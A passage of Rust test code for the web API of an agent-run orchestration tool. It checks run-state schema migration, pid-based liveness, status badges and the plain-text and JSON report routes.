20369                PathBuf::from("/repo/magi"),
20370                "main".to_owned(),
20371                "0123456789abcdef".to_owned(),
20372                "Generated review context, not authored task criteria".to_owned(),
20373                Config::default(),
20374            );
20375            state.origin = origin;
20376            state.status = RunStatus::Blocked;
20377            // Earlier migrations must not infer these facts again.
20378            state.driver_exited = false;
20379            state.gate_ran = true;
20380            let expected = serde_json::to_value(&state).expect("serialize current state");
20381            let mut legacy = expected.clone();
20382            legacy["schema"] = serde_json::json!(13);
20383            legacy.as_object_mut().unwrap().remove("task_instruction");
20384            let dir = runs.join(&state.id);
20385            std::fs::create_dir_all(&dir).expect("run dir");
20386            let path = dir.join("run.json");
20387            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20388            std::fs::write(&path, &body).expect("write legacy run");
20389
20390            for loaded in [
20391                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
20392                read_run(&runs, &state.id).expect("web migration"),
20393            ] {
20394                assert_eq!(loaded.schema, crate::run::SCHEMA);
20395                assert!(loaded.task_instruction.is_none());
20396                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
20397            }
20398            assert_eq!(runs_unreadable(&runs), 0);
20399            assert_eq!(std::fs::read(&path).unwrap(), body);
20400        }
20401    }
20402
20403    /// Where a run came from is shown, and a run written before origins were
20404    /// recorded (schema 12, no `origin` key) stays readable and says so.
20405    #[tokio::test]
20406    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
20407        let f = Fixture::start().await;
20408        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
20409            let mut state = RunState::new(
20410                PathBuf::from("/repo/magi"),
20411                "main".to_owned(),
20412                "0123456789abcdef".to_owned(),
20413                "Add a web UI".to_owned(),
20414                Config::default(),
20415            );
20416            state.id = id.to_owned();
20417            state.origin = origin;
20418            let mut value = serde_json::to_value(&state).expect("serialize run");
20419            if let Some(schema) = schema {
20420                value["schema"] = serde_json::json!(schema);
20421                value.as_object_mut().unwrap().remove("origin");
20422            }
20423            let dir = f.runs().join(id);
20424            std::fs::create_dir_all(&dir).expect("run dir");
20425            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
20426        };
20427        write(
20428            "20260930-092817-ec34",
20429            Some(crate::run::Origin::from_agent_env(
20430                Some(("4a7b".to_owned(), "chat".to_owned())),
20431                None,
20432            )),
20433            None,
20434        );
20435        write("20260930-092817-0ld1", None, Some(12));
20436
20437        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
20438        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
20439        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
20440
20441        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
20442        assert_eq!(
20443            old["origin_label"], "origin unknown (started before origins were recorded)",
20444            "{old}"
20445        );
20446        assert!(old["origin"].is_null(), "{old}");
20447
20448        let list = f.get("/api/runs").await.json();
20449        let labels: Vec<_> = list
20450            .as_array()
20451            .unwrap()
20452            .iter()
20453            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
20454            .collect();
20455        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
20456    }
20457
20458    #[tokio::test]
20459    async fn run_progress_observation_exposes_activity_without_control_evidence() {
20460        let f = Fixture::start().await;
20461        let mut state = RunState::new(
20462            PathBuf::from("/repo"),
20463            "main".into(),
20464            "abc".into(),
20465            "task".into(),
20466            Config::default(),
20467        );
20468        state.status = RunStatus::Implementing;
20469        state.seat_started(
20470            "implement",
20471            "implement-A",
20472            std::time::Duration::from_secs(60),
20473            0,
20474        );
20475        state.save_under(f.home.path()).unwrap();
20476        let observed = f
20477            .get(&format!("/api/runs/{}/progress", state.id))
20478            .await
20479            .json();
20480        assert_eq!(observed["id"], state.id);
20481        assert!(observed["observed_at"].is_string());
20482        assert_eq!(observed["updated_at"], state.updated_at.to_string());
20483        assert!(observed["progress"]["activity"].is_string());
20484        for field in [
20485            "config",
20486            "candidates",
20487            "land_approval",
20488            "task",
20489            "waiting",
20490            "done",
20491        ] {
20492            assert!(
20493                observed.get(field).is_none(),
20494                "progress must not expose control evidence: {field}"
20495            );
20496        }
20497    }
20498
20499    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
20500    /// review` claims no daemon at all, so before this field existed the
20501    /// route above read it as `"dead"` — indistinguishable from a run a
20502    /// killed process abandoned — the whole time it was genuinely still
20503    /// answering. With a live pid recorded, it must read `"live"` even
20504    /// though no daemon claims it.
20505    #[tokio::test]
20506    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20507        let f = Fixture::start().await;
20508        let id = "20260922-090000-cccc";
20509        let mut state = RunState::new(
20510            PathBuf::from("/repo/magi"),
20511            "main".to_owned(),
20512            "0123456789abcdef".to_owned(),
20513            "Review only".to_owned(),
20514            Config::default(),
20515        );
20516        state.id = id.to_owned();
20517        state.status = RunStatus::Reviewing;
20518        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20519        // This test process's own pid: guaranteed alive, and never needs a
20520        // real daemon or a second process to prove it. The matching start-time
20521        // marker is what `liveness` now requires alongside a live pid — see
20522        // `RunState::driver_started_at`'s own doc for why the pid alone is
20523        // not enough.
20524        state.driver_pid = Some(std::process::id());
20525        state.driver_started_at = Some(
20526            crate::proc::process_started_at(std::process::id())
20527                .expect("this test process's own start time must be queryable"),
20528        );
20529        let dir = f.runs().join(id);
20530        std::fs::create_dir_all(&dir).expect("run dir");
20531        std::fs::write(
20532            dir.join("run.json"),
20533            serde_json::to_string_pretty(&state).expect("serialize run"),
20534        )
20535        .expect("write run.json");
20536
20537        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20538        assert_eq!(detail["live"], "live", "{detail}");
20539    }
20540
20541    /// A killed manual run's pid can be handed to a wholly unrelated later
20542    /// process — a live query on `driver_pid` alone would read this as
20543    /// `"live"`, exactly the false positive `driver_started_at` exists to
20544    /// catch (see that field's own doc, and `RunState::liveness_with`'s
20545    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
20546    #[tokio::test]
20547    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20548        let f = Fixture::start().await;
20549        let id = "20260922-090100-dddd";
20550        let mut state = RunState::new(
20551            PathBuf::from("/repo/magi"),
20552            "main".to_owned(),
20553            "0123456789abcdef".to_owned(),
20554            "Review only".to_owned(),
20555            Config::default(),
20556        );
20557        state.id = id.to_owned();
20558        state.status = RunStatus::Reviewing;
20559        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20560        // This test process's own pid really is alive, but the marker
20561        // recorded here does not match what it actually started at —
20562        // standing in for the pid having since been reused by a different
20563        // process than the one that wrote `run.json`.
20564        state.driver_pid = Some(std::process::id());
20565        state.driver_started_at = Some("1".to_owned());
20566        let dir = f.runs().join(id);
20567        std::fs::create_dir_all(&dir).expect("run dir");
20568        std::fs::write(
20569            dir.join("run.json"),
20570            serde_json::to_string_pretty(&state).expect("serialize run"),
20571        )
20572        .expect("write run.json");
20573
20574        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20575        assert_eq!(detail["live"], "dead", "{detail}");
20576    }
20577
20578    /// The deck's competition list is normally the first place an operator
20579    /// sees an old run. It must carry the same process verdict as detail, or
20580    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
20581    #[test]
20582    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20583        let mk = |id: &str, pid: Option<u32>| {
20584            let mut s = RunState::new(
20585                PathBuf::from("/repo/magi"),
20586                "main".to_owned(),
20587                "0123456789abcdef".to_owned(),
20588                "Add a web UI".to_owned(),
20589                Config::default(),
20590            );
20591            s.id = id.to_owned();
20592            s.driver_pid = pid;
20593            s.driver_started_at = Some("1790000000".to_owned());
20594            s
20595        };
20596        let states = vec![
20597            mk("20260902-140502-aaaa", Some(77)),
20598            mk("20260902-140502-bbbb", Some(77)),
20599            mk("20260902-140502-cccc", Some(77)),
20600            mk("20260902-140502-dddd", None),
20601        ];
20602        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20603        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20604        let sup: HashMap<String, String> = [(
20605            "20260902-140502-aaaa".to_owned(),
20606            "20260902-140502-cccc".to_owned(),
20607        )]
20608        .into();
20609
20610        let status_calls = std::cell::Cell::new(0);
20611        let identity_calls = std::cell::Cell::new(0);
20612        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20613            |_| {
20614                status_calls.set(status_calls.get() + 1);
20615                Some(true)
20616            },
20617            |_| {
20618                identity_calls.set(identity_calls.get() + 1);
20619                Some("1790000000".to_owned())
20620            },
20621        ));
20622        let rows = summarize(
20623            states,
20624            &open,
20625            &claimed,
20626            &sup,
20627            |p| probe.borrow_mut().status(p),
20628            |p| probe.borrow_mut().started_at(p),
20629        );
20630
20631        assert_eq!(status_calls.get(), 1, "one pid, one status query");
20632        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20633        assert_eq!(rows.len(), 4);
20634        assert!(!rows[0].waiting && rows[1].waiting);
20635        assert_eq!(rows[0].live, crate::run::Liveness::Live);
20636        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20637        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
20638        assert_eq!(rows[1].superseded_by, None);
20639    }
20640
20641    #[test]
20642    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20643        let mut state = RunState::new(
20644            PathBuf::from("/repo/magi"),
20645            "main".to_owned(),
20646            "0123456789abcdef".to_owned(),
20647            "Review only".to_owned(),
20648            Config::default(),
20649        );
20650        state.id = "20260922-090200-dead".to_owned();
20651        state.status = RunStatus::Reviewing;
20652        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20653            .expect("serialize list row");
20654        assert_eq!(row["status"], "reviewing");
20655        assert_eq!(row["display_status"], "stale");
20656        assert_eq!(row["live"], "dead", "{row}");
20657        assert!(!row["done"].as_bool().unwrap());
20658    }
20659
20660    #[test]
20661    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20662        use crate::run::Liveness::{Dead, Live, Unknown};
20663        let mut state = RunState::new(
20664            PathBuf::from("/repo/magi"),
20665            "main".to_owned(),
20666            "abc".to_owned(),
20667            "Review only".to_owned(),
20668            Config::default(),
20669        );
20670        for (status, parked, node, waiting, live, expected) in [
20671            (
20672                RunStatus::Judging,
20673                true,
20674                "github-text",
20675                false,
20676                Dead,
20677                "parked",
20678            ),
20679            (RunStatus::Judging, false, "park", false, Dead, "stale"),
20680            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20681            (
20682                RunStatus::Judging,
20683                true,
20684                "github-text",
20685                true,
20686                Dead,
20687                "waiting",
20688            ),
20689            (
20690                RunStatus::Judging,
20691                false,
20692                "github-text",
20693                true,
20694                Dead,
20695                "waiting",
20696            ),
20697            (
20698                RunStatus::Judging,
20699                false,
20700                "github-text",
20701                false,
20702                Dead,
20703                "stale",
20704            ),
20705            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20706            (RunStatus::Judging, true, "park", false, Live, "judging"),
20707            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20708            (RunStatus::Merged, true, "park", false, Dead, "merged"),
20709            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20710            (
20711                RunStatus::Blocked,
20712                true,
20713                "github-text",
20714                true,
20715                Dead,
20716                "waiting",
20717            ),
20718        ] {
20719            state.status = status;
20720            state.parked = parked;
20721            state.events.clear();
20722            state.event(
20723                "park",
20724                "an earlier park does not determine the latest state",
20725            );
20726            state.event(node, "message is not used for classification");
20727            let summary = RunSummary::of(&state, waiting, live);
20728            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20729            assert_eq!(
20730                summary.display_status, expected,
20731                "{status:?}/{node}/{live:?}"
20732            );
20733            assert_eq!(detail.display_status, summary.display_status);
20734            assert_eq!(detail.waiting, summary.waiting);
20735        }
20736        state.status = RunStatus::Judging;
20737        state.parked = false;
20738        state.events.clear();
20739        assert_eq!(run_display_status(&state, false, Dead), "stale");
20740    }
20741
20742    #[test]
20743    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20744        use crate::run::Liveness::{Dead, Live, Unknown};
20745        let mut state = RunState::new(
20746            PathBuf::from("/repo/magi"),
20747            "main".to_owned(),
20748            "abc".to_owned(),
20749            "Badge".to_owned(),
20750            Config::default(),
20751        );
20752        for (status, waiting, live, superseded, expected) in [
20753            (RunStatus::Gating, false, Dead, false, "stale"),
20754            (RunStatus::Gating, false, Dead, true, "superseded"),
20755            (RunStatus::Gating, false, Unknown, true, "superseded"),
20756            (RunStatus::Gating, true, Dead, true, "superseded"),
20757            (RunStatus::Gating, true, Dead, false, "waiting"),
20758            (RunStatus::Gating, false, Unknown, false, "gating"),
20759            (RunStatus::Gating, false, Live, true, "gating"),
20760            (RunStatus::Gating, true, Live, true, "waiting"),
20761            (RunStatus::Merged, false, Dead, true, "merged"),
20762            (RunStatus::Blocked, false, Dead, true, "blocked"),
20763        ] {
20764            state.status = status;
20765            let display = run_display_status(&state, waiting, live);
20766            assert_eq!(
20767                run_badge_status(&state, &display, live, superseded),
20768                expected,
20769                "{status:?}/{live:?}/superseded={superseded}"
20770            );
20771        }
20772    }
20773
20774    #[test]
20775    fn summarize_and_detail_expose_badge_status() {
20776        use crate::run::Liveness::Dead;
20777        let mut state = RunState::new(
20778            PathBuf::from("/repo/magi"),
20779            "main".to_owned(),
20780            "abc".to_owned(),
20781            "Badge".to_owned(),
20782            Config::default(),
20783        );
20784        state.status = RunStatus::Gating;
20785        let none = HashSet::new();
20786        let id = state.id.clone();
20787        let mut by = HashMap::new();
20788        let rows = summarize(
20789            [state.clone()],
20790            &none,
20791            &none,
20792            &by,
20793            |_| Some(false),
20794            |_| None,
20795        );
20796        // No driver recorded: liveness is not provably dead, so the node stays.
20797        assert_eq!(rows[0].badge_status, rows[0].display_status);
20798        by.insert(id, "20260901-000000-913b".to_owned());
20799        let detail = RunDetailView::of(
20800            state.clone(),
20801            false,
20802            Dead,
20803            Some("913b".to_owned()),
20804            None,
20805            None,
20806        );
20807        assert_eq!(detail.badge_status, "superseded");
20808        let json = serde_json::to_value(&detail).unwrap();
20809        assert_eq!(json["badge_status"], "superseded");
20810        let detail = RunDetailView::of(state, false, Dead, None, None, None);
20811        assert_eq!(detail.badge_status, "stale");
20812    }
20813
20814    #[tokio::test]
20815    async fn run_display_status_routes_share_the_open_question_store() {
20816        let f = Fixture::start().await;
20817        let id = "20260922-090200-abcd";
20818        write_run(&f.runs(), id, RunStatus::Judging);
20819        let mut state = read_run(&f.runs(), id).unwrap();
20820        state.parked = true;
20821        state.driver_exited = true;
20822        state.event("github-text", "waiting for the owner");
20823        state.save_under(f.home.path()).unwrap();
20824        let mut task = Task::new(
20825            "resumed task".to_owned(),
20826            "do it".to_owned(),
20827            PathBuf::from("/repo"),
20828            Source::Human,
20829        );
20830        task.runs = vec![id.to_owned(), id.to_owned()];
20831        f.queue().put(&mut task).unwrap();
20832        let store = f.questions();
20833        let mut q = Question::new(
20834            id.to_owned(),
20835            "github-text".to_owned(),
20836            "owner".to_owned(),
20837            "Approve the text?".to_owned(),
20838            String::new(),
20839            Vec::new(),
20840        );
20841        store.put(&mut q).unwrap();
20842        for expected in ["waiting", "parked"] {
20843            let list = f.get("/api/runs").await.json();
20844            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20845            assert_eq!(list[0]["display_status"], expected);
20846            assert_eq!(detail["display_status"], expected);
20847            assert_eq!(detail["waiting"], list[0]["waiting"]);
20848            assert_eq!(list[0]["badge_status"], expected);
20849            assert_eq!(detail["badge_status"], expected);
20850            assert!(list[0]["superseded_by"].is_null());
20851            assert!(detail["superseded_by"].is_null());
20852            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20853            let history = task_detail["history"].as_array().unwrap();
20854            assert_eq!(history.len(), 2);
20855            assert!(history[0]["badge"].is_null());
20856            assert_eq!(history[1]["badge"], expected);
20857            q.status = ask::QuestionStatus::Answered;
20858            store.put(&mut q).unwrap();
20859        }
20860    }
20861
20862    #[tokio::test]
20863    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20864        let f = Fixture::start().await;
20865        let id = "20260922-090200-abcd";
20866        write_run(&f.runs(), id, RunStatus::Judging);
20867        let mut state = read_run(&f.runs(), id).unwrap();
20868        state.parked = true;
20869        state.driver_exited = true;
20870        state.event("park", "stopped at a node boundary");
20871        state.save_under(f.home.path()).unwrap();
20872
20873        for expected in ["parked", "stale"] {
20874            let list = f.get("/api/runs").await.json();
20875            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20876            assert_eq!(list[0]["live"], "dead");
20877            assert_eq!(list[0]["display_status"], expected);
20878            assert_eq!(detail["display_status"], expected);
20879            // Model a driver claim followed by a crash before the next event:
20880            // the persisted flag changes, but the last event is still park.
20881            state.parked = false;
20882            state.save_under(f.home.path()).unwrap();
20883        }
20884    }
20885
20886    #[tokio::test]
20887    async fn the_run_list_is_newest_first_and_honours_a_limit() {
20888        let f = Fixture::start().await;
20889        for id in [
20890            "20260902-140501-aaaa",
20891            "20260902-140502-bbbb",
20892            "20260902-140503-cccc",
20893        ] {
20894            write_run(&f.runs(), id, RunStatus::Merged);
20895        }
20896
20897        let all = f.get("/api/runs").await.json();
20898        let capped = f.get("/api/runs?limit=2").await.json();
20899
20900        assert_eq!(all[0]["id"], "20260902-140503-cccc");
20901        assert_eq!(all.as_array().map(Vec::len), Some(3));
20902        assert_eq!(capped.as_array().map(Vec::len), Some(2));
20903        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20904    }
20905
20906    #[tokio::test]
20907    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20908        let f = Fixture::start().await;
20909        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20910
20911        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20912
20913        assert_eq!(res.status, 200);
20914        assert!(
20915            res.headers
20916                .contains("content-type: text/plain; charset=utf-8"),
20917            "a browser must render it, not download it: {}",
20918            res.headers
20919        );
20920        // The assertion is on content, not on the absence of escapes: colour
20921        // is a process-global that `serve` turns off at startup, and another
20922        // test in this binary may own it while this one runs.
20923        assert!(
20924            res.body.contains("20260902-140501-a1b2"),
20925            "the report is about the run that was asked for: {}",
20926            res.body
20927        );
20928    }
20929
20930    #[tokio::test]
20931    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20932        // The view names the run's state directory, which reads the process-global home.
20933        crate::run::pin_test_home();
20934        let f = Fixture::start().await;
20935        let id = "20260902-140501-a1b2";
20936        write_run(&f.runs(), id, RunStatus::Stalled);
20937        // A stalled panel and one review round, written through the real
20938        // state file so the route reads what a run really leaves behind.
20939        let path = f.runs().join(id).join("run.json");
20940        let mut v: serde_json::Value =
20941            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20942        v["tally"] = serde_json::json!({
20943            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20944            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20945            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20946            "met_quorum": false, "rankings": 1
20947        });
20948        v["reviews"] = serde_json::json!([{
20949            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20950            "e2e_deferred": true,
20951            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20952                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20953            ]}]
20954        }]);
20955        std::fs::write(&path, v.to_string()).unwrap();
20956        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20957        std::fs::write(
20958            f.runs().join("20260902-140502-dead").join("run.json"),
20959            "{not json",
20960        )
20961        .unwrap();
20962
20963        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20964
20965        assert_eq!(res.status, 200, "{}", res.body);
20966        assert!(res.headers.contains("content-type: application/json"));
20967        let j = res.json();
20968        assert_eq!(j["schema"], 1);
20969        assert_eq!(j["header"]["id"], id);
20970        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20971        let kinds: Vec<&str> = j["sections"]
20972            .as_array()
20973            .unwrap()
20974            .iter()
20975            .map(|s| s["kind"].as_str().unwrap())
20976            .collect();
20977        assert_eq!(kinds, ["candidates", "tally", "review"]);
20978        let tally = &j["sections"][1]["tally"];
20979        assert_eq!(
20980            (tally["decided"].clone(), tally["provisional"].clone()),
20981            (false.into(), true.into())
20982        );
20983        let round = &j["sections"][2]["rounds"][0];
20984        assert_eq!(round["e2e"]["state"], "deferred");
20985        assert_eq!(round["findings"][0]["severity"], "major");
20986        assert_eq!(round["findings"][0]["blocking"], true);
20987        assert_eq!(round["findings"][0]["state"], "open");
20988
20989        // The raw route keeps working beside it.
20990        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20991
20992        // An unreadable run is an error, as on the text route, and is counted.
20993        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20994        assert_ne!(bad.status, 200, "{}", bad.body);
20995        assert_eq!(
20996            bad.status,
20997            f.get("/api/runs/20260902-140502-dead/report").await.status
20998        );
20999        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
21000        assert_eq!(
21001            f.get("/api/runs/20260902-999999-ffff/report.json")
21002                .await
21003                .status,
21004            404
21005        );
21006    }
21007
21008    #[tokio::test]
21009    async fn sync_base_only_report_json_names_the_required_base_heads_and_verification() {
21010        crate::run::pin_test_home();
21011        let f = Fixture::start().await;
21012        let id = "20260902-140501-a1b2";
21013        write_run(&f.runs(), id, RunStatus::Blocked);
21014        let path = f.runs().join(id).join("run.json");
21015        let mut v: serde_json::Value =
21016            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21017        v["sync_only_passes"] = serde_json::json!([{
21018            "request": {"run": id, "at": "2026-09-02T14:05:01Z"},
21019            "pass_index": 0, "required_base": "origin/main", "tip": "base-sha",
21020            "head_before": "before-sha", "head_after": "after-sha",
21021            "result": "synchronized", "verification_allowed": false
21022        }]);
21023        std::fs::write(&path, v.to_string()).unwrap();
21024
21025        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21026        assert_eq!(res.status, 200, "{}", res.body);
21027        let json = res.json();
21028        let section = json["sections"]
21029            .as_array()
21030            .unwrap()
21031            .iter()
21032            .find(|s| s["key"] == "sync_only")
21033            .expect("base-only report section");
21034        let line = section["lines"][0].as_str().unwrap();
21035        assert!(line.contains("origin/main @ base-sha"), "{line}");
21036        assert!(line.contains("HEAD before-sha → after-sha"), "{line}");
21037        assert!(line.contains("verification was not allowed"), "{line}");
21038    }
21039
21040    #[tokio::test]
21041    async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
21042        crate::run::pin_test_home();
21043        let f = Fixture::start().await;
21044        let id = "20260902-140505-facts";
21045        write_run(&f.runs(), id, RunStatus::Stalled);
21046        let path = f.runs().join(id).join("run.json");
21047        let mut v: serde_json::Value =
21048            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21049        v["candidates"] = serde_json::json!([{
21050            "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
21051            "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
21052        }]);
21053        v["tally"] = serde_json::json!({
21054            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21055            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21056            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21057            "met_quorum": false, "rankings": 1
21058        });
21059        v["quota"] = serde_json::json!([
21060            {
21061                "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
21062                "agent": "signed-out", "cause": "authentication"
21063            },
21064            {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
21065        ]);
21066        v["startup"] = serde_json::json!({
21067            "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
21068            "failure": "fetch refused\ncredentials expired"
21069        });
21070        v["recovery"] = serde_json::json!({
21071            "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
21072            "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
21073            "repair": {"started": {"before": "abcdef012345"}}
21074        });
21075        v["reviews"] = serde_json::json!([{
21076            "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
21077            "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
21078            "vote_split": true, "verdict": "approve_with_findings",
21079            "e2e": [{
21080                "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
21081            }],
21082            "reviews": [
21083                {"reviewer": 1, "agent": "reviewer", "vote": "reject",
21084                 "summary": "Initial **concern**.\n\nPlease inspect.",
21085                 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
21086                {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
21087            ],
21088            "reconsideration": [{
21089                "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
21090                "reason": "The blocker is resolved.\nOne minor issue remains."
21091            }]
21092        }]);
21093        v["merge_repairs"] = serde_json::json!([{
21094            "question": "question-42", "head": "abcdef012345",
21095            "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
21096            "gate": [], "phase": "Failed",
21097            "failure": "owner decision required\ninspect updated results"
21098        }]);
21099        v["bump_decision_attempts"] = serde_json::json!([
21100            {"agent": "first", "outcome": "unavailable"},
21101            {"agent": "second", "outcome": "patch\naccepted"}
21102        ]);
21103        v["release_bump"] = serde_json::json!({
21104            "version": "1.2.3", "local": true,
21105            "problem": "publish failed\nregistry refused",
21106            "release": {
21107                "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
21108                "failed": "registry refused\nawait owner approval",
21109                "log": [{
21110                    "name": "cargo publish", "code": 1,
21111                    "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
21112                }]
21113            }
21114        });
21115        std::fs::write(&path, v.to_string()).unwrap();
21116
21117        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21118        assert_eq!(res.status, 200, "{}", res.body);
21119        let j = res.json();
21120        assert_eq!(j["schema"], 1);
21121        assert_eq!(j["header"]["tone"], "warn");
21122        assert_eq!(
21123            j["header"]["startup"],
21124            "review branch=topic stage=fetch complete=false"
21125        );
21126        assert_eq!(
21127            j["header"]["startup_failure"],
21128            "fetch refused\ncredentials expired"
21129        );
21130        assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
21131        assert_eq!(
21132            j["sections"][0]["items"][0]["detail"],
21133            "Already covered.\nNo patch needed."
21134        );
21135        assert_eq!(
21136            j["sections"][1]["tally"]["rate_limited"],
21137            serde_json::json!(["judge-1", "judge-2"])
21138        );
21139        let sections = j["sections"].as_array().unwrap();
21140        let labels: Vec<_> = sections
21141            .iter()
21142            .map(|section| {
21143                section["key"]
21144                    .as_str()
21145                    .or_else(|| section["kind"].as_str())
21146                    .unwrap()
21147            })
21148            .collect();
21149        assert_eq!(
21150            labels,
21151            [
21152                "candidates",
21153                "tally",
21154                "quota_details",
21155                "recovery",
21156                "review",
21157                "merge_repairs",
21158                "release_decision_attempts",
21159                "release_bump",
21160                "release_execution"
21161            ]
21162        );
21163        let note = |key: &str| {
21164            sections
21165                .iter()
21166                .find(|section| section["kind"] == "notes" && section["key"] == key)
21167                .unwrap()
21168        };
21169        let unavailable = note("quota_details");
21170        assert_eq!(unavailable["tone"], "warn");
21171        assert_eq!(
21172            unavailable["lines"],
21173            serde_json::json!([
21174                "judge-1 (signed-out: re-authenticate)",
21175                "judge-2 (usage limit)"
21176            ])
21177        );
21178        let recovery = note("recovery");
21179        assert_eq!(recovery["tone"], "warn");
21180        assert!(
21181            recovery["lines"][0]
21182                .as_str()
21183                .unwrap()
21184                .contains("head moved\nreview the new diff")
21185        );
21186        assert_eq!(
21187            recovery["lines"][1],
21188            "the task's own completion criteria were kept"
21189        );
21190        assert_eq!(recovery["lines"][2], "repair: unfinished");
21191        let review = sections
21192            .iter()
21193            .find(|section| section["kind"] == "review")
21194            .unwrap();
21195        assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21196        let round = &review["rounds"][0];
21197        assert_eq!(round["verified_head"], "fedcba9");
21198        assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21199        assert_eq!(round["status"], "incomplete");
21200        assert_eq!(round["e2e"]["state"], "pass");
21201        assert_eq!(round["reviewers"][0]["vote"], "reject");
21202        assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21203        assert_eq!(
21204            round["reviewers"][0]["reason"],
21205            "Initial **concern**.\n\nPlease inspect."
21206        );
21207        assert!(
21208            !round["reviewers"][0]["reason_md"]
21209                .as_array()
21210                .unwrap()
21211                .is_empty()
21212        );
21213        assert!(round["reviewers"][1]["final_vote"].is_null());
21214        assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21215        assert_eq!(
21216            round["reconsideration"][0]["reason"],
21217            "The blocker is resolved.\nOne minor issue remains."
21218        );
21219        assert!(
21220            !round["reconsideration"][0]["reason_md"]
21221                .as_array()
21222                .unwrap()
21223                .is_empty()
21224        );
21225        let repairs = note("merge_repairs");
21226        assert_eq!(repairs["tone"], "warn");
21227        assert_eq!(
21228            repairs["lines"][0],
21229            "question question-42  head abcdef012345  Failed\nhttps://example.test/pull/42"
21230        );
21231        assert_eq!(
21232            repairs["lines"][1],
21233            "held: owner decision required\ninspect updated results"
21234        );
21235        assert_eq!(
21236            repairs["lines"][2],
21237            "original [R1-1-1] Minor: Check edge case"
21238        );
